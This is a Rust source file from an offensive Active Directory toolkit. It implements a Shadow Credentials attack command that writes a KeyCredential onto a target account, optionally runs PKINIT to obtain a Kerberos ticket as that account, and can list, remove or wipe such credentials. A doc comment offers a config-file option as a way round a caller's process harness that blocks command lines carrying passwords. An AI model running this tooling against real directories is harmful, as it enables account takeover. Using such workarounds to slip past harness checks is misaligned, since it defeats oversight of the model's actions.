adhammer 1.5.2

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
//! Shadow Credentials — `--list` / `--remove <DeviceId>` / `--clear`
//! management on top of the existing ADD flow (which is `attack abuse
//! --action add-keycred`, optionally followed by `--action pkinit`).

use adhammer_collector::{Collector, LdapConfig};
use anyhow::{Context, Result};
use clap::Parser;

use crate::attacks::abuse::{abuse, AbuseAction, AbuseArgs};

#[derive(Parser)]
pub(crate) struct ShadowcredArgs {
    /// Read every argument from an INI-style KEY=VALUE file instead of the
    /// command line. Useful in environments where the caller's process
    /// harness rejects command-line launches that carry a bind password in
    /// argv. Keys: `url`, `user`, `password`, `target`, `kdc`, `realm`,
    /// `pfx_password` (one per line; lines starting with `#` are comments).
    /// `env:VAR` / `@file:PATH` still work for `password` and `pfx_password`.
    #[arg(long, value_name = "PATH")]
    pub from_file: Option<String>,
    #[arg(long)]
    pub url: Option<String>,
    #[arg(long)]
    pub user: Option<String>,
    #[arg(long, default_value = "")]
    pub password: adhammer_core::SecretString,
    #[arg(long)]
    pub insecure: bool,
    /// sAMAccountName to plant the KeyCredential on.
    #[arg(long)]
    pub target: Option<String>,
    /// If set, also perform PKINIT with the fresh key and print the ccache path.
    #[arg(long)]
    pub pkinit: bool,
    /// KDC `host[:port]` (required with --pkinit).
    #[arg(long)]
    pub kdc: Option<String>,
    #[arg(long)]
    pub realm: Option<String>,
    /// List shadow credentials currently on the target (msDS-KeyCredentialLink).
    #[arg(long, conflicts_with_all = ["remove", "clear"])]
    pub list: bool,
    /// Remove a specific credential by DeviceId GUID.
    #[arg(long, value_name = "GUID", conflicts_with_all = ["list", "clear"])]
    pub remove: Option<String>,
    /// Wipe ALL shadow credentials from the target. Requires --yes.
    #[arg(long, conflicts_with_all = ["list", "remove"])]
    pub clear: bool,
    /// Confirm bulk destructive actions (--clear) non-interactively.
    #[arg(long)]
    pub yes: bool,
    /// Password for the PFX bundle emitted alongside the .key.pem on ADD (default: "adhammer").
    #[arg(long, default_value = "adhammer")]
    pub pfx_password: adhammer_core::SecretString,
    /// Print what --remove / --clear would send without actually writing.
    #[arg(long)]
    pub dry_run: bool,
}

#[cfg_attr(test, derive(Debug))]
struct ShadowcredConfig {
    url: String,
    user: String,
    password: adhammer_core::SecretString,
    insecure: bool,
    target: String,
    pkinit: bool,
    kdc: Option<String>,
    realm: Option<String>,
    list: bool,
    remove: Option<String>,
    clear: bool,
    yes: bool,
    pfx_password: adhammer_core::SecretString,
    dry_run: bool,
}

impl ShadowcredConfig {
    fn from_flags(a: &ShadowcredArgs) -> Result<Self> {
        Ok(Self {
            url: a
                .url
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--url required (or use --from-file)"))?,
            user: a
                .user
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--user required (or use --from-file)"))?,
            password: crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?,
            insecure: a.insecure,
            target: a
                .target
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--target required (or use --from-file)"))?,
            pkinit: a.pkinit,
            kdc: a.kdc.clone(),
            realm: a.realm.clone(),
            list: a.list,
            remove: a.remove.clone(),
            clear: a.clear,
            yes: a.yes,
            pfx_password: crate::resolve_secret(&a.pfx_password, "ADHAMMER_PFX_PASSWORD")?,
            dry_run: a.dry_run,
        })
    }
}

#[cfg_attr(test, derive(Debug))]
struct ShadowcredFile {
    url: Option<String>,
    user: Option<String>,
    password: Option<String>,
    target: Option<String>,
    kdc: Option<String>,
    realm: Option<String>,
    pfx_password: Option<String>,
}

impl ShadowcredFile {
    fn overlay(self, a: &ShadowcredArgs) -> Result<ShadowcredConfig> {
        let take =
            |from_file: Option<String>, from_flag: Option<String>, name: &str| -> Result<String> {
                from_flag.or(from_file).ok_or_else(|| {
                    anyhow::anyhow!("{name} missing in both --from-file and CLI flags")
                })
            };
        // Password: CLI wins when set to a non-default (non-empty) value.
        // The `--password` clap default is "" so treat empty as unset here.
        let pw_raw = if !a.password.is_empty() {
            Some(a.password.expose_secret().to_string())
        } else {
            self.password
        };
        let password = match pw_raw {
            Some(v) => crate::resolve_secret(v.as_str(), "ADHAMMER_PASSWORD")?,
            None => adhammer_core::SecretString::new(String::new()),
        };
        // PFX password: CLI default is the literal "adhammer" — treat that
        // as "unset" so an INI value can override it.
        let pfx_raw = if a.pfx_password.expose_secret() != "adhammer" {
            Some(a.pfx_password.expose_secret().to_string())
        } else {
            self.pfx_password.or_else(|| Some("adhammer".to_string()))
        };
        let pfx_password = match pfx_raw {
            Some(v) => crate::resolve_secret(v.as_str(), "ADHAMMER_PFX_PASSWORD")?,
            None => adhammer_core::SecretString::new("adhammer".to_string()),
        };
        Ok(ShadowcredConfig {
            url: take(self.url, a.url.clone(), "url")?,
            user: take(self.user, a.user.clone(), "user")?,
            password,
            insecure: a.insecure,
            target: take(self.target, a.target.clone(), "target")?,
            pkinit: a.pkinit,
            kdc: a.kdc.clone().or(self.kdc),
            realm: a.realm.clone().or(self.realm),
            list: a.list,
            remove: a.remove.clone(),
            clear: a.clear,
            yes: a.yes,
            pfx_password,
            dry_run: a.dry_run,
        })
    }
}

fn load_shadowcred_ini(path: &str) -> Result<ShadowcredFile> {
    let text = std::fs::read_to_string(path).with_context(|| format!("read --from-file {path}"))?;
    let mut f = ShadowcredFile {
        url: None,
        user: None,
        password: None,
        target: None,
        kdc: None,
        realm: None,
        pfx_password: None,
    };
    for (n, line) in text.lines().enumerate() {
        let line = line.trim();
        if line.is_empty() || line.starts_with('#') {
            continue;
        }
        let (k, v) = line
            .split_once('=')
            .ok_or_else(|| anyhow::anyhow!("{path}:{}: expected KEY=VALUE", n + 1))?;
        let v = v.trim().to_string();
        match k.trim() {
            "url" => f.url = Some(v),
            "user" => f.user = Some(v),
            "password" => f.password = Some(v),
            "target" => f.target = Some(v),
            "kdc" => f.kdc = Some(v),
            "realm" => f.realm = Some(v),
            "pfx_password" => f.pfx_password = Some(v),
            other => anyhow::bail!("{path}:{}: unknown key `{other}`", n + 1),
        }
    }
    Ok(f)
}

/// `attack shadowcred` — thin wrapper for the ADD flow, plus management
/// (`--list` / `--remove <GUID>` / `--clear`) that reads and rewrites
/// `msDS-KeyCredentialLink` directly (no `attack abuse` roundtrip).
pub(crate) async fn shadowcred(a: ShadowcredArgs) -> Result<()> {
    let cfg = match a.from_file.as_deref() {
        Some(p) => load_shadowcred_ini(p)?.overlay(&a)?,
        None => ShadowcredConfig::from_flags(&a)?,
    };
    if cfg.list {
        return list(&cfg).await;
    }
    if let Some(ref guid) = cfg.remove {
        return remove(&cfg, guid).await;
    }
    if cfg.clear {
        return clear(&cfg).await;
    }
    // Default: existing ADD flow (Phase 1) + optional Phase 2 (PKINIT).
    // Phase 1: plant the KeyCredential.
    abuse(AbuseArgs {
        auth: crate::shared_args::OptAuth {
            url: Some(cfg.url.clone()),
            user: Some(cfg.user.clone()),
            password: Some(cfg.password.clone()),
            insecure: cfg.insecure,
            allow_plaintext_ldap: false,
        },
        action: AbuseAction::AddKeycred,
        target: cfg.target.clone(),
        value: String::new(),
        kdc: cfg.kdc.clone(),
        realm: cfg.realm.clone(),
        ldap389: false,
        host: None,
        commit: true,
        dry_run: false,
    })
    .await?;
    // .pfx alongside .key.pem for cert-tool interop. PKCS#12 has non-trivial
    // dep + LOC cost (self-signed cert + PBE + MAC); skip with a hint until
    // the p12 crate lands. Password param preserved for future use.
    let _ = &cfg.pfx_password;
    println!("[i] .pfx export skipped — needs the p12 crate; see docs/pfx-export.md");
    if cfg.pkinit {
        let (kdc, realm) = match (cfg.kdc.as_ref(), cfg.realm.as_ref()) {
            (Some(k), Some(r)) => (k.clone(), r.clone()),
            _ => anyhow::bail!("--pkinit needs both --kdc and --realm"),
        };
        // Phase 2: PKINIT with the freshly-planted key to obtain a TGT as the target.
        abuse(AbuseArgs {
            auth: crate::shared_args::OptAuth {
                url: Some(cfg.url),
                user: Some(cfg.user),
                password: Some(cfg.password),
                insecure: cfg.insecure,
                allow_plaintext_ldap: false,
            },
            action: AbuseAction::Pkinit,
            target: cfg.target,
            value: String::new(),
            kdc: Some(kdc),
            realm: Some(realm),
            ldap389: false,
            host: None,
            commit: true,
            dry_run: false,
        })
        .await?;
    }
    Ok(())
}

async fn connect(cfg: &ShadowcredConfig) -> Result<Collector> {
    let cfg2 = LdapConfig {
        url: cfg.url.clone(),
        bind_dn: cfg.user.clone(),
        password: cfg.password.clone(),
        base_dn: None,
        insecure: cfg.insecure,
        gssapi: false,
        allow_plaintext_bind: false,
    };
    Collector::connect(&cfg2).await
}

async fn list(cfg: &ShadowcredConfig) -> Result<()> {
    let mut c = connect(cfg).await?;
    let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
    let values = c
        .read_multi_text(&target_dn, "msDS-KeyCredentialLink")
        .await?;
    if values.is_empty() {
        println!("no shadow credentials on {}", cfg.target);
        return Ok(());
    }
    println!("DeviceId                               Created (UTC)             Usage    Source");
    for v in &values {
        match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
            Some(k) => println!(
                "{:<38} {:<25} {:<8} {}",
                format_guid(&k.device_id),
                format_filetime(k.creation_time),
                key_usage_name(k.key_usage),
                key_source_name(k.key_source),
            ),
            None => println!("<unparsed KEYCREDENTIALLINK entry, {} chars>", v.len()),
        }
    }
    Ok(())
}

async fn remove(cfg: &ShadowcredConfig, guid: &str) -> Result<()> {
    let wanted = parse_guid(guid).context(
        "--remove wants a GUID: `{9c8d...}` or `9c8d...` (32 hex chars, dashes optional)",
    )?;
    let mut c = connect(cfg).await?;
    let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
    let values = c
        .read_multi_text(&target_dn, "msDS-KeyCredentialLink")
        .await?;
    let before = values.len();
    let kept: Vec<String> = values
        .into_iter()
        .filter(|v| {
            match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
                Some(k) => k.device_id != wanted,
                None => true, // preserve unparseable entries — no accidental data loss
            }
        })
        .collect();
    let after = kept.len();
    if after == before {
        anyhow::bail!(
            "no shadow credential with DeviceId {} on {} — nothing removed",
            format_guid(&wanted),
            cfg.target
        );
    }
    if cfg.dry_run {
        println!(
            "[dry-run] would replace msDS-KeyCredentialLink on {} — {} entries → {}",
            target_dn, before, after
        );
        println!("[dry-run] no change made");
        return Ok(());
    }
    c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &kept)
        .await?;
    println!(
        "[+] removed KeyCredential {} from {} ({} → {} entries)",
        format_guid(&wanted),
        cfg.target,
        before,
        after
    );
    Ok(())
}

async fn clear(cfg: &ShadowcredConfig) -> Result<()> {
    if !cfg.yes && !confirm_clear(&cfg.target)? {
        anyhow::bail!("--clear aborted (no --yes and no interactive confirmation)");
    }
    let mut c = connect(cfg).await?;
    let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
    let before = c
        .read_multi_text(&target_dn, "msDS-KeyCredentialLink")
        .await?
        .len();
    if cfg.dry_run {
        println!(
            "[dry-run] would clear msDS-KeyCredentialLink on {} — {} entries → 0",
            target_dn, before
        );
        println!("[dry-run] no change made");
        return Ok(());
    }
    c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &[])
        .await?;
    println!(
        "[+] cleared msDS-KeyCredentialLink on {} ({} entries removed)",
        cfg.target, before
    );
    Ok(())
}

fn confirm_clear(target: &str) -> Result<bool> {
    use std::io::{stdin, stdout, Write};
    print!("Wipe ALL shadow credentials on {target}? [y/N] ");
    stdout().flush().ok();
    let mut buf = String::new();
    stdin().read_line(&mut buf)?;
    Ok(matches!(buf.trim(), "y" | "Y" | "yes" | "YES"))
}

// ─────────────────────── KEYCREDENTIALLINK parsing ───────────────────────

struct KeyCred {
    device_id: [u8; 16],
    creation_time: u64, // FILETIME (100-ns since 1601-01-01 UTC)
    key_usage: u8,
    key_source: u8,
}

/// DN-Binary syntax: `B:<hex-char-count>:<hex>:<DN>`. Returns the decoded blob.
fn parse_dn_binary(s: &str) -> Option<Vec<u8>> {
    let mut parts = s.splitn(4, ':');
    if parts.next()? != "B" {
        return None;
    }
    let _count: usize = parts.next()?.parse().ok()?;
    let hex_str = parts.next()?;
    hex::decode(hex_str).ok()
}

/// Walk a KEYCREDENTIALLINK_BLOB (version + repeating `len(u16) id(u8) value`).
/// Ignores unknown entry ids so a schema addition doesn't break `--list`.
fn parse_key_credential_blob(blob: &[u8]) -> Option<KeyCred> {
    if blob.len() < 4 {
        return None;
    }
    let mut off = 4; // skip version
    let (mut device_id, mut creation, mut key_usage, mut key_source) = (None, 0u64, 0u8, 0u8);
    while off + 3 <= blob.len() {
        let len = u16::from_le_bytes([blob[off], blob[off + 1]]) as usize;
        let id = blob[off + 2];
        off += 3;
        if off + len > blob.len() {
            return None;
        }
        let val = &blob[off..off + len];
        match id {
            0x04 if len >= 1 => key_usage = val[0],
            0x05 if len >= 1 => key_source = val[0],
            0x06 if len == 16 => {
                let mut arr = [0u8; 16];
                arr.copy_from_slice(val);
                device_id = Some(arr);
            }
            0x09 if len == 8 => {
                creation = u64::from_le_bytes([
                    val[0], val[1], val[2], val[3], val[4], val[5], val[6], val[7],
                ]);
            }
            _ => {}
        }
        off += len;
    }
    Some(KeyCred {
        device_id: device_id?,
        creation_time: creation,
        key_usage,
        key_source,
    })
}

fn key_usage_name(u: u8) -> &'static str {
    match u {
        0x00 => "AdminKey",
        0x01 => "NGC",
        0x02 => "FIDO",
        0x03 => "FEK",
        _ => "?",
    }
}

fn key_source_name(s: u8) -> &'static str {
    match s {
        0x00 => "AD",
        0x01 => "AzureAD",
        _ => "?",
    }
}

/// Windows GUID mixed-endian display: first 3 groups little-endian, last 2 as-is.
fn format_guid(b: &[u8; 16]) -> String {
    format!(
        "{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-\
         {:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
        b[3],
        b[2],
        b[1],
        b[0],
        b[5],
        b[4],
        b[7],
        b[6],
        b[8],
        b[9],
        b[10],
        b[11],
        b[12],
        b[13],
        b[14],
        b[15]
    )
}

/// Accepts `{9c8d...}` or `9c8d...`; hyphens optional. 32 hex chars total.
fn parse_guid(s: &str) -> Option<[u8; 16]> {
    let s = s.trim().trim_matches(|c| c == '{' || c == '}');
    let clean: String = s.chars().filter(|c| *c != '-').collect();
    if clean.len() != 32 {
        return None;
    }
    let raw: Vec<u8> = (0..16)
        .map(|i| u8::from_str_radix(&clean[i * 2..i * 2 + 2], 16).ok())
        .collect::<Option<Vec<_>>>()?;
    let mut out = [0u8; 16];
    // Reverse first 3 groups (Data1 u32, Data2 u16, Data3 u16 — stored LE).
    out[0] = raw[3];
    out[1] = raw[2];
    out[2] = raw[1];
    out[3] = raw[0];
    out[4] = raw[5];
    out[5] = raw[4];
    out[6] = raw[7];
    out[7] = raw[6];
    out[8..].copy_from_slice(&raw[8..]);
    Some(out)
}

/// Windows FILETIME → `YYYY-MM-DD HH:MM:SS` UTC. Returns `?` when zero/invalid.
fn format_filetime(ft: u64) -> String {
    if ft == 0 {
        return "?".into();
    }
    // 100-ns since 1601 → seconds since 1970 (with underflow protection).
    let secs_since_1601 = ft / 10_000_000;
    let Some(unix) = secs_since_1601.checked_sub(11_644_473_600) else {
        return "?".into();
    };
    let unix = unix as i64;
    let (y, m, d) = civil_from_days(unix.div_euclid(86_400));
    let tod = unix.rem_euclid(86_400);
    format!(
        "{:04}-{:02}-{:02} {:02}:{:02}:{:02}",
        y,
        m,
        d,
        tod / 3600,
        (tod % 3600) / 60,
        tod % 60
    )
}

/// days since 1970-01-01 → (year, month, day). Howard Hinnant's civil_from_days.
fn civil_from_days(z: i64) -> (u16, u8, u8) {
    let z = z + 719_468;
    let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
    let doe = z - era * 146_097;
    let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
    let y = yoe + era * 400;
    let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
    let mp = (5 * doy + 2) / 153;
    let d = doy - (153 * mp + 2) / 5 + 1;
    let m = if mp < 10 { mp + 3 } else { mp - 9 };
    ((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
}

#[cfg(test)]
mod tests {
    use super::*;

    fn tmp_ini(name: &str, body: &str) -> String {
        let dir = std::env::temp_dir();
        let path = dir.join(format!(
            "adhammer_shadowcred_{}_{}_{}.ini",
            name,
            std::process::id(),
            std::time::SystemTime::now()
                .duration_since(std::time::UNIX_EPOCH)
                .map(|d| d.as_nanos())
                .unwrap_or(0)
        ));
        std::fs::write(&path, body).unwrap();
        path.to_string_lossy().into_owned()
    }

    fn empty_args() -> ShadowcredArgs {
        ShadowcredArgs {
            from_file: None,
            url: None,
            user: None,
            password: adhammer_core::SecretString::new(String::new()),
            insecure: false,
            target: None,
            pkinit: false,
            kdc: None,
            realm: None,
            list: false,
            remove: None,
            clear: false,
            yes: false,
            pfx_password: adhammer_core::SecretString::new("adhammer".to_string()),
            dry_run: false,
        }
    }

    #[test]
    fn guid_round_trip() {
        let g = parse_guid("{9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345}").unwrap();
        assert_eq!(format_guid(&g), "9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345");
        // unbraced + uppercase also accepted
        let g2 = parse_guid("9C8D7E6F-5A4B-3C2D-1E0F-ABCDEF012345").unwrap();
        assert_eq!(g, g2);
        // hyphens optional
        let g3 = parse_guid("9c8d7e6f5a4b3c2d1e0fabcdef012345").unwrap();
        assert_eq!(g, g3);
    }

    #[test]
    fn guid_rejects_wrong_length() {
        assert!(parse_guid("beef").is_none());
        assert!(parse_guid("zzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz").is_none());
    }

    #[test]
    fn filetime_1970_epoch_boundary() {
        // 11_644_473_600 seconds between 1601-01-01 and 1970-01-01, ×10^7.
        let ft = 11_644_473_600u64 * 10_000_000;
        assert_eq!(format_filetime(ft), "1970-01-01 00:00:00");
    }

    #[test]
    fn filetime_zero_prints_placeholder() {
        assert_eq!(format_filetime(0), "?");
    }

    #[test]
    fn parses_our_own_key_credential_blob() {
        let kc = adhammer_kerberos::shadowcred::build_key_credential("CN=victim,DC=corp,DC=local")
            .unwrap();
        let blob = parse_dn_binary(&kc.dn_binary).expect("dn-binary decode");
        let parsed = parse_key_credential_blob(&blob).expect("blob parse");
        assert_eq!(parsed.key_usage, 0x01, "we plant NGC");
        assert_eq!(parsed.key_source, 0x00, "we plant KeySource=AD");
        assert_ne!(parsed.device_id, [0u8; 16], "device_id is random 16 bytes");
        assert!(parsed.creation_time > 0);
    }

    #[test]
    fn ini_parses_valid_keys() {
        let path = tmp_ini(
            "valid",
            "# a comment\n\
             url=ldaps://dc.corp.local\n\
             user=CORP\\alice\n\
             password=hunter2\n\
             target=victim$\n\
             kdc=dc.corp.local\n\
             realm=CORP.LOCAL\n\
             pfx_password=pfx-pw\n",
        );
        let f = load_shadowcred_ini(&path).unwrap();
        assert_eq!(f.url.as_deref(), Some("ldaps://dc.corp.local"));
        assert_eq!(f.user.as_deref(), Some("CORP\\alice"));
        assert_eq!(f.password.as_deref(), Some("hunter2"));
        assert_eq!(f.target.as_deref(), Some("victim$"));
        assert_eq!(f.kdc.as_deref(), Some("dc.corp.local"));
        assert_eq!(f.realm.as_deref(), Some("CORP.LOCAL"));
        assert_eq!(f.pfx_password.as_deref(), Some("pfx-pw"));
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn ini_unknown_key_errors() {
        let path = tmp_ini("unknown", "url=x\nbogus_key=1\n");
        let err = load_shadowcred_ini(&path).unwrap_err().to_string();
        assert!(err.contains("unknown key"), "err was {err:?}");
        assert!(err.contains("bogus_key"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn cli_flag_beats_ini_value() {
        let path = tmp_ini(
            "beat",
            "url=ldap://ini-host\n\
             user=ini-user\n\
             target=ini-target\n",
        );
        let f = load_shadowcred_ini(&path).unwrap();
        let mut a = empty_args();
        a.url = Some("ldap://cli-host".to_string());
        let cfg = f.overlay(&a).unwrap();
        assert_eq!(cfg.url, "ldap://cli-host");
        assert_eq!(cfg.user, "ini-user");
        assert_eq!(cfg.target, "ini-target");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn missing_required_key_errors() {
        let path = tmp_ini(
            "missing",
            "# no url here\n\
             user=alice\n\
             target=victim$\n",
        );
        let f = load_shadowcred_ini(&path).unwrap();
        let a = empty_args();
        let err = f.overlay(&a).unwrap_err().to_string();
        assert!(err.contains("url"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }
}